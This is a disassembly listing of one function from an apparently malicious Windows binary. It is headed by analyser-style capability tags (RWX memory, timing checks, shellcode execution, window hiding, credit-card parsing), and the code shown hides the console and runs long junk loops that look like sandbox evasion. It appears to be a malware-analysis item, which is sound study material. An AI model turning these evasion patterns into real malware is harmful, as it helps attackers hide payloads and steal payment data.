Function at 0x140001584
Capabilities:
Allocate or change rwx memory
Check for time delay via gettickcount
Execute shellcode via indirect call
Get system information on windows
Hide graphical window
Parse credit card information

Disassembly:
push rbp
push rdi
push rsi
push rbx
mov eax, 0x5e28
call fcn.140045b40
sub rsp, rax
lea rbp, [rsp + 0x80]
movups xmmword [rbp + 0x5d90], xmm6
mov dword [rbp + 0x5dd0], ecx
mov qword [rbp + 0x5dd8], rdx
call fcn.140044b90
mov rax, qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
call rax
mov qword [rbp + 0x35e0], rax
mov rax, qword [rbp + 0x35e0]
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_ShowWindow]
call rax
pxor xmm0, xmm0
movsd qword [rbp + 0x5d88], xmm0
movsd xmm0, qword [0x14004e218]
movsd qword [rbp + 0x5d80], xmm0
mov dword [rbp + 0x5d7c], 0
add dword [rbp + 0x5d7c], 1
movsd xmm0, qword [rbp + 0x5d80]
addsd xmm0, xmm0
movsd qword [rbp + 0x5d80], xmm0
movsd xmm0, qword [0x14004e218]
divsd xmm0, qword [rbp + 0x5d80]
movsd xmm1, qword [rbp + 0x5d88]
addsd xmm0, xmm1
movsd qword [rbp + 0x5d88], xmm0
movsd xmm0, qword [0x14004e218]
ucomisd xmm0, qword [rbp + 0x5d88]
jp 0x140001667
movsd xmm0, qword [0x14004e218]
ucomisd xmm0, qword [rbp + 0x5d88]
je 0x140001675
cmp dword [rbp + 0x5d7c], 0x6c5
jle 0x140001604
jmp 0x140001676
nop
mov ecx, 0xe80
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x35d8], rax
mov ecx, 0xe80
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x35d0], rax
mov ecx, 0xe80
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x35c8], rax
mov ecx, 0xe80
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x35c0], rax
mov dword [rbp + 0x5d74], 0x39f
mov dword [rbp + 0x5d78], 0
jmp 0x1400017df
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x5d78]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x35d8]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x1b4e81b5
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x12c
sub eax, ecx
mov edx, eax
mov dword [r8], edx
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x5d78]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x35d0]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x1b4e81b5
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x12c
sub eax, ecx
mov edx, eax
mov dword [r8], edx
mov eax, dword [rbp + 0x5d74]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x35d8]
add rax, rdx
mov edx, dword [rbp + 0x5d78]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x35c8]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
mov eax, dword [rbp + 0x5d74]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x35d0]
add rax, rdx
mov edx, dword [rbp + 0x5d78]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x35c0]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
sub dword [rbp + 0x5d74], 1
add dword [rbp + 0x5d78], 1
cmp dword [rbp + 0x5d78], 0x39f
jle 0x1400016d3
mov rax, qword [rbp + 0x35d8]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x35d0]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x35c8]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x35c0]
mov rcx, rax
call sub.msvcrt.dll_free
mov dword [rbp + 0x5d70], 0xffffffff
mov ecx, 0x29b8
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x35b8], rax
add dword [rbp + 0x5d70], 1
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
mov eax, dword [rbp + 0x5d70]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x35b8]
add rax, rdx
movsd xmm1, qword [0x14004e220]
divsd xmm0, xmm1
movsd qword [rax], xmm0
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x64
sub eax, ecx
mov edx, eax
pxor xmm0, xmm0
cvtsi2sd xmm0, edx
mov eax, dword [rbp + 0x5d70]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x35b8]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x5d70]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x35b8]
lea rbx, [rcx + rdx]
movupd xmm1, xmm0
movq xmm0, rax
call fcn.1400461b0
movq rax, xmm0
mov qword [rbx], rax
cmp dword [rbp + 0x5d70], 0x535
jle 0x140001846
mov ecx, 0x8ec8
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x35b0], rax
mov ecx, 0x8ec8
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x35a8], rax
mov dword [rbp + 0x5d6c], 0
jmp 0x1400019ca
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
pxor xmm6, xmm6
cvtsi2sd xmm6, edx
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0xffffffffea0ea0eb
shr rdx, 0x20
add edx, eax
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x46
sub eax, ecx
mov edx, eax
pxor xmm1, xmm1
cvtsi2sd xmm1, edx
mov eax, dword [rbp + 0x5d6c]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x35b0]
add rax, rdx
divsd xmm6, xmm1
movupd xmm0, xmm6
movsd qword [rax], xmm0
add dword [rbp + 0x5d6c], 1
cmp dword [rbp + 0x5d6c], 0x11d8
jle 0x140001940
mov dword [rbp + 0x5d6c], 0
jmp 0x140001a38
mov eax, dword [rbp + 0x5d6c]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x35b0]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x5d6c]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x35a8]
lea rbx, [rcx + rdx]
movq xmm0, rax
call fcn.140046000
movq rax, xmm0
mov qword [rbx], rax
add dword [rbp + 0x5d6c], 1
cmp dword [rbp + 0x5d6c], 0x11d8
jle 0x1400019e6
mov ecx, 0x1ddc
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x35a0], rax
mov dword [rbp + 0x5d68], 0
jmp 0x140001aae
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x5d68]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x35a0]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x68db8bad
shr rdx, 0x20
sar edx, 0xc
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x2710
sub eax, ecx
mov edx, eax
mov dword [r8], edx
add dword [rbp + 0x5d68], 1
cmp dword [rbp + 0x5d68], 0x776
jle 0x140001a61
mov dword [rbp + 0x5d64], 1
jmp 0x140001cb3
mov eax, dword [rbp + 0x5d64]
sub eax, 1
mov dword [rbp + 0x5d68], eax
jmp 0x140001bad
mov eax, dword [rbp + 0x5d68]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x35a0]
add rax, rdx
mov edx, dword [rax]
mov eax, dword [rbp + 0x5d68]
cdqe
add rax, 1
lea rcx, [rax*4]
mov rax, qword [rbp + 0x35a0]
add rax, rcx
mov eax, dword [rax]
cmp edx, eax
jle 0x140001ba6
mov eax, dword [rbp + 0x5d68]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x35a0]
add rax, rdx
mov eax, dword [rax]
mov dword [rbp + 0x4c0], eax
mov eax, dword [rbp + 0x5d68]
cdqe
add rax, 1
lea rdx, [rax*4]
mov rax, qword [rbp + 0x35a0]
add rax, rdx
mov edx, dword [rbp + 0x5d68]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x35a0]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
mov eax, dword [rbp + 0x5d68]
cdqe
add rax, 1
lea rdx, [rax*4]
mov rax, qword [rbp + 0x35a0]
add rdx, rax
mov eax, dword [rbp + 0x4c0]
mov dword [rdx], eax
add dword [rbp + 0x5d68], 1
mov eax, 0x777
sub eax, dword [rbp + 0x5d64]
cmp dword [rbp + 0x5d68], eax
jl 0x140001add
mov eax, 0x776
sub eax, dword [rbp + 0x5d64]
mov dword [rbp + 0x5d68], eax
jmp 0x140001c9a
mov eax, dword [rbp + 0x5d68]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x35a0]
add rax, rdx
mov edx, dword [rax]
mov eax, dword [rbp + 0x5d68]
cdqe
shl rax, 2
lea rcx, [rax - 4]
mov rax, qword [rbp + 0x35a0]
add rax, rcx
mov eax, dword [rax]
cmp edx, eax
jge 0x140001c93
mov eax, dword [rbp + 0x5d68]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x35a0]
add rax, rdx
mov eax, dword [rax]
mov dword [rbp + 0x4c0], eax
mov eax, dword [rbp + 0x5d68]
cdqe
shl rax, 2
lea rdx, [rax - 4]
mov rax, qword [rbp + 0x35a0]
add rax, rdx
mov edx, dword [rbp + 0x5d68]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x35a0]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
mov eax, dword [rbp + 0x5d68]
cdqe
shl rax, 2
lea rdx, [rax - 4]
mov rax, qword [rbp + 0x35a0]
add rdx, rax
mov eax, dword [rbp + 0x4c0]
mov dword [rdx], eax
sub dword [rbp + 0x5d68], 1
mov eax, dword [rbp + 0x5d68]
cmp eax, dword [rbp + 0x5d64]
jge 0x140001bda
add dword [rbp + 0x5d64], 1
cmp dword [rbp + 0x5d64], 0x3bb
jle 0x140001ac9
mov ecx, 0x2bac
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x3598], rax
mov dword [rbp + 0x5d60], 0
jmp 0x140001d2d
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x5d60]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x3598]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x68db8bad
shr rdx, 0x20
sar edx, 0xc
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x2710
sub eax, ecx
mov edx, eax
mov dword [r8], edx
add dword [rbp + 0x5d60], 1
cmp dword [rbp + 0x5d60], 0xaea
jle 0x140001ce0
mov dword [rbp + 0x5d60], 0
jmp 0x140001e1d
cmp dword [rbp + 0x5d60], 0
je 0x140001d8d
mov eax, dword [rbp + 0x5d60]
cdqe
shl rax, 2
lea rdx, [rax - 4]
mov rax, qword [rbp + 0x3598]
add rax, rdx
mov edx, dword [rax]
mov eax, dword [rbp + 0x5d60]
cdqe
lea rcx, [rax*4]
mov rax, qword [rbp + 0x3598]
add rax, rcx
mov eax, dword [rax]
cmp edx, eax
jg 0x140001d99
add dword [rbp + 0x5d60], 1
jmp 0x140001e1d
mov eax, dword [rbp + 0x5d60]
cdqe
shl rax, 2
lea rdx, [rax - 4]
mov rax, qword [rbp + 0x3598]
add rax, rdx
mov eax, dword [rax]
mov dword [rbp + 0x4c4], eax
mov eax, dword [rbp + 0x5d60]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x3598]
add rax, rdx
mov edx, dword [rbp + 0x5d60]
movsxd rdx, edx
shl rdx, 2
lea rcx, [rdx - 4]
mov rdx, qword [rbp + 0x3598]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
mov eax, dword [rbp + 0x5d60]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x3598]
add rdx, rax
mov eax, dword [rbp + 0x4c4]
mov dword [rdx], eax
sub dword [rbp + 0x5d60], 1
cmp dword [rbp + 0x5d60], 0xaea
jle 0x140001d48
mov rax, qword [rbp + 0x3598]
mov rcx, rax
call sub.msvcrt.dll_free
mov ecx, 0x8be0
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x3590], rax
mov dword [rbp + 0x5d5c], 0
jmp 0x140001e97
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
mov eax, dword [rbp + 0x5d5c]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x3590]
add rax, rdx
movsd xmm1, qword [0x14004e220]
divsd xmm0, xmm1
movsd qword [rax], xmm0
add dword [rbp + 0x5d5c], 1
cmp dword [rbp + 0x5d5c], 0x117b
jle 0x140001e59
mov dword [rbp + 0x5d5c], 0
jmp 0x140001f01
mov eax, dword [rbp + 0x5d5c]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x3590]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x5d5c]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x3590]
lea rbx, [rcx + rdx]
movq xmm0, rax
call sub.msvcrt.dll_atan
movq rax, xmm0
mov qword [rbx], rax
add dword [rbp + 0x5d5c], 1
cmp dword [rbp + 0x5d5c], 0x117b
jle 0x140001eaf
mov dword [rbp + 0x5d58], 0xffffffff
add dword [rbp + 0x5d58], 1
call sub.msvcrt.dll_rand
imul eax, eax, 0x2b9
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x14004e220]
divsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call fcn.1400462b0
movq rax, xmm0
mov qword [rbp + 0x3588], rax
cmp dword [rbp + 0x5d58], 0xfa4
jle 0x140001f17
mov dword [rbp + 0x5d54], 0xffffffff
mov ecx, 0x2268
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x3580], rax
mov ecx, 0x2268
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x3578], rax
add dword [rbp + 0x5d54], 1
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
pxor xmm6, xmm6
cvtsi2sd xmm6, edx
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0xffffffffea0ea0eb
shr rdx, 0x20
add edx, eax
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x46
sub eax, ecx
mov edx, eax
pxor xmm1, xmm1
cvtsi2sd xmm1, edx
mov eax, dword [rbp + 0x5d54]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x3580]
add rax, rdx
divsd xmm6, xmm1
movupd xmm0, xmm6
movsd qword [rax], xmm0
mov eax, dword [rbp + 0x5d54]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x3580]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x5d54]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x3578]
lea rbx, [rcx + rdx]
movq xmm0, rax
call fcn.140045d10
movq rax, xmm0
mov qword [rbx], rax
cmp dword [rbp + 0x5d54], 0x44b
jle 0x140001f90
mov ecx, 0x21f8
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x3570], rax
mov ecx, 0x21f8
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x3568], rax
mov dword [rbp + 0x5d50], 0
jmp 0x140002130
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
pxor xmm6, xmm6
cvtsi2sd xmm6, edx
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0xffffffffea0ea0eb
shr rdx, 0x20
add edx, eax
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x46
sub eax, ecx
mov edx, eax
pxor xmm1, xmm1
cvtsi2sd xmm1, edx
mov eax, dword [rbp + 0x5d50]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x3570]
add rax, rdx
divsd xmm6, xmm1
movupd xmm0, xmm6
movsd qword [rax], xmm0
add dword [rbp + 0x5d50], 1
cmp dword [rbp + 0x5d50], 0x43e
jle 0x1400020a6
mov dword [rbp + 0x5d50], 0
jmp 0x14000219e
mov eax, dword [rbp + 0x5d50]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x3570]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x5d50]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x3568]
lea rbx, [rcx + rdx]
movq xmm0, rax
call fcn.140045d10
movq rax, xmm0
mov qword [rbx], rax
add dword [rbp + 0x5d50], 1
cmp dword [rbp + 0x5d50], 0x43e
jle 0x14000214c
mov dword [rbp + 0x5d4c], 0
jmp 0x1400021fc
call sub.msvcrt.dll_rand
mov edx, eax
mov eax, edx
shl eax, 2
add eax, edx
add eax, eax
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x14004e220]
divsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call fcn.140045df0
movq rax, xmm0
mov qword [rbp + 0x4c8], rax
add dword [rbp + 0x5d4c], 1
cmp dword [rbp + 0x5d4c], 0xe25
jle 0x1400021b6
mov dword [rbp + 0x5d48], 0
jmp 0x140002255
call sub.msvcrt.dll_rand
imul eax, eax, 0x2de
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x14004e220]
divsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call fcn.1400462b0
movq rax, xmm0
mov qword [rbp + 0x4d0], rax
add dword [rbp + 0x5d48], 1
cmp dword [rbp + 0x5d48], 0xce7
jle 0x140002214
pxor xmm0, xmm0
movsd qword [rbp + 0x5d40], xmm0
movsd xmm0, qword [0x14004e218]
movsd qword [rbp + 0x5d38], xmm0
mov dword [rbp + 0x5d34], 0
jmp 0x1400022f4
movsd xmm0, qword [0x14004e218]
divsd xmm0, qword [rbp + 0x5d38]
movsd xmm1, qword [rbp + 0x5d40]
addsd xmm0, xmm1
movsd qword [rbp + 0x5d40], xmm0
movsd xmm1, qword [rbp + 0x5d38]
movsd xmm0, qword [0x14004e228]
mulsd xmm0, xmm1
movsd qword [rbp + 0x5d38], xmm0
movsd xmm0, qword [rbp + 0x5d40]
ucomisd xmm0, qword [0x14004e230]
jp 0x1400022ed
movsd xmm0, qword [rbp + 0x5d40]
ucomisd xmm0, qword [0x14004e230]
je 0x140002300
add dword [rbp + 0x5d34], 1
cmp dword [rbp + 0x5d34], 0x3ab
jle 0x140002289
mov dword [rbp + 0x5d30], 0xffffffff
mov ecx, 0x1e20
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x3560], rax
add dword [rbp + 0x5d30], 1
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x14004e220]
divsd xmm0, xmm1
addsd xmm0, xmm0
mov eax, dword [rbp + 0x5d30]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x3560]
add rax, rdx
movsd xmm1, qword [0x14004e218]
subsd xmm0, xmm1
movsd qword [rax], xmm0
mov eax, dword [rbp + 0x5d30]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x3560]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x5d30]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x3560]
lea rbx, [rcx + rdx]
movq xmm0, rax
call sub.msvcrt.dll_asin
movq rax, xmm0
mov qword [rbx], rax
cmp dword [rbp + 0x5d30], 0x3c2
jle 0x14000231b
mov ecx, 0x2c58
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x3558], rax
mov dword [rbp + 0x5d2c], 0
jmp 0x14000241f
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
mov eax, dword [rbp + 0x5d2c]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x3558]
add rax, rdx
movsd xmm1, qword [0x14004e220]
divsd xmm0, xmm1
movsd qword [rax], xmm0
add dword [rbp + 0x5d2c], 1
cmp dword [rbp + 0x5d2c], 0x58a
jle 0x1400023e1
mov dword [rbp + 0x5d2c], 0
jmp 0x140002489
mov eax, dword [rbp + 0x5d2c]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x3558]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x5d2c]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x3558]
lea rbx, [rcx + rdx]
movq xmm0, rax
call sub.msvcrt.dll_atan
movq rax, xmm0
mov qword [rbx], rax
add dword [rbp + 0x5d2c], 1
cmp dword [rbp + 0x5d2c], 0x58a
jle 0x140002437
mov dword [rbp + 0x5d28], 0xffffffff
mov ecx, 0x4c50
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x3550], rax
add dword [rbp + 0x5d28], 1
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
mov eax, dword [rbp + 0x5d28]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x3550]
add rax, rdx
movsd xmm1, qword [0x14004e220]
divsd xmm0, xmm1
movsd qword [rax], xmm0
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x64
sub eax, ecx
mov edx, eax
pxor xmm0, xmm0
cvtsi2sd xmm0, edx
mov eax, dword [rbp + 0x5d28]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x3550]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x5d28]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x3550]
lea rbx, [rcx + rdx]
movupd xmm1, xmm0
movq xmm0, rax
call fcn.1400461b0
movq rax, xmm0
mov qword [rbx], rax
cmp dword [rbp + 0x5d28], 0x988
jle 0x1400024b0
pxor xmm0, xmm0
movsd qword [rbp + 0x5d20], xmm0
movsd xmm0, qword [0x14004e218]
movsd qword [rbp + 0x5d18], xmm0
mov dword [rbp + 0x5d14], 0
add dword [rbp + 0x5d14], 1
movsd xmm0, qword [rbp + 0x5d18]
addsd xmm0, xmm0
movsd qword [rbp + 0x5d18], xmm0
movsd xmm0, qword [0x14004e218]
divsd xmm0, qword [rbp + 0x5d18]
movsd xmm1, qword [rbp + 0x5d20]
addsd xmm0, xmm1
movsd qword [rbp + 0x5d20], xmm0
movsd xmm0, qword [0x14004e218]
ucomisd xmm0, qword [rbp + 0x5d20]
jp 0x140002602
movsd xmm0, qword [0x14004e218]
ucomisd xmm0, qword [rbp + 0x5d20]
je 0x14000260e
cmp dword [rbp + 0x5d14], 0x3f6
jle 0x14000259f
mov ecx, 0x1ba0
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x3548], rax
mov dword [rbp + 0x5d10], 0
jmp 0x1400026b7
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
pxor xmm6, xmm6
cvtsi2ss xmm6, edx
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0xffffffffea0ea0eb
shr rdx, 0x20
add edx, eax
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x46
sub eax, ecx
mov edx, eax
pxor xmm1, xmm1
cvtsi2ss xmm1, edx
mov eax, dword [rbp + 0x5d10]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x3548]
add rax, rdx
divss xmm6, xmm1
movups xmm0, xmm6
movss dword [rax], xmm0
add dword [rbp + 0x5d10], 1
cmp dword [rbp + 0x5d10], 0x6e7
jle 0x14000262e
mov dword [rbp + 0x5d10], 0
jmp 0x1400027e3
mov dword [rbp + 0x4dc], 0
jmp 0x1400027c5
mov eax, dword [rbp + 0x5d10]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x3548]
add rax, rdx
movss xmm0, dword [rax]
mov eax, dword [rbp + 0x4dc]
cdqe
add rax, 1
lea rdx, [rax*4]
mov rax, qword [rbp + 0x3548]
add rax, rdx
movss xmm1, dword [rax]
comiss xmm0, xmm1
jbe 0x1400027be
mov eax, dword [rbp + 0x4dc]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x3548]
add rax, rdx
movss xmm0, dword [rax]
movss dword [rbp + 0x4d8], xmm0
mov eax, dword [rbp + 0x5d10]
cdqe
add rax, 1
lea rdx, [rax*4]
mov rax, qword [rbp + 0x3548]
add rdx, rax
mov eax, dword [rbp + 0x4dc]
cdqe
lea rcx, [rax*4]
mov rax, qword [rbp + 0x3548]
add rax, rcx
movss xmm0, dword [rdx]
movss dword [rax], xmm0
mov eax, dword [rbp + 0x4dc]
cdqe
add rax, 1
lea rdx, [rax*4]
mov rax, qword [rbp + 0x3548]
add rax, rdx
movss xmm0, dword [rbp + 0x4d8]
movss dword [rax], xmm0
add dword [rbp + 0x5d10], 1
mov eax, 0x6e7
sub eax, dword [rbp + 0x5d10]
cmp dword [rbp + 0x4dc], eax
jl 0x1400026e5
add dword [rbp + 0x5d10], 1
cmp dword [rbp + 0x5d10], 0x6e7
jle 0x1400026d6
mov rax, qword [rbp + 0x3548]
mov rcx, rax
call sub.msvcrt.dll_free
pxor xmm0, xmm0
movsd qword [rbp + 0x5d08], xmm0
movsd xmm0, qword [0x14004e218]
movsd qword [rbp + 0x5d00], xmm0
mov dword [rbp + 0x5cfc], 0
jmp 0x140002895
movsd xmm0, qword [0x14004e218]
divsd xmm0, qword [rbp + 0x5d00]
movsd xmm1, qword [rbp + 0x5d08]
addsd xmm0, xmm1
movsd qword [rbp + 0x5d08], xmm0
movsd xmm1, qword [rbp + 0x5d00]
movsd xmm0, qword [0x14004e228]
mulsd xmm0, xmm1
movsd qword [rbp + 0x5d00], xmm0
movsd xmm0, qword [rbp + 0x5d08]
ucomisd xmm0, qword [0x14004e238]
jp 0x14000288e
movsd xmm0, qword [rbp + 0x5d08]
ucomisd xmm0, qword [0x14004e238]
je 0x1400028a1
add dword [rbp + 0x5cfc], 1
cmp dword [rbp + 0x5cfc], 0x9aa
jle 0x14000282a
mov dword [rbp + 0x5cf4], 0
mov dword [rbp + 0x3544], 0
mov ecx, 0x1940
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x3538], rax
mov dword [rbp + 0x5cf8], 0
jmp 0x14000294e
call sub.msvcrt.dll_rand
mov ecx, eax
mov eax, dword [rbp + 0x5cf8]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x3538]
lea r8, [rdx + rax]
movsxd rax, ecx
imul rax, rax, 0x51eb851f
shr rax, 0x20
mov edx, eax
sar edx, 3
mov eax, ecx
sar eax, 0x1f
sub edx, eax
mov eax, edx
shl eax, 2
add eax, edx
lea edx, [rax*4]
add eax, edx
sub ecx, eax
mov edx, ecx
mov dword [r8], edx
mov eax, dword [rbp + 0x5cf8]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x3538]
add rax, rdx
mov eax, dword [rax]
add dword [rbp + 0x5cf4], eax
add dword [rbp + 0x5cf8], 1
cmp dword [rbp + 0x5cf8], 0x64f
jle 0x1400028d2
mov rax, qword [rbp + 0x3538]
mov rcx, rax
call sub.msvcrt.dll_free
mov ecx, 0x1d6c
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x3530], rax
mov dword [rbp + 0x5cec], 0
mov dword [rbp + 0x352c], 0
mov dword [rbp + 0x5cf0], 0
jmp 0x1400029ea
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x5cf0]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x3530]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0xffffffff88888889
shr rdx, 0x20
add edx, eax
sar edx, 4
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x1e
sub eax, ecx
mov edx, eax
mov dword [r8], edx
add dword [rbp + 0x5cf0], 1
cmp dword [rbp + 0x5cf0], 0x75a
jle 0x14000299e
mov dword [rbp + 0x5cf0], 0
jmp 0x140002a2b
mov eax, dword [rbp + 0x5cf0]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x3530]
add rax, rdx
mov eax, dword [rax]
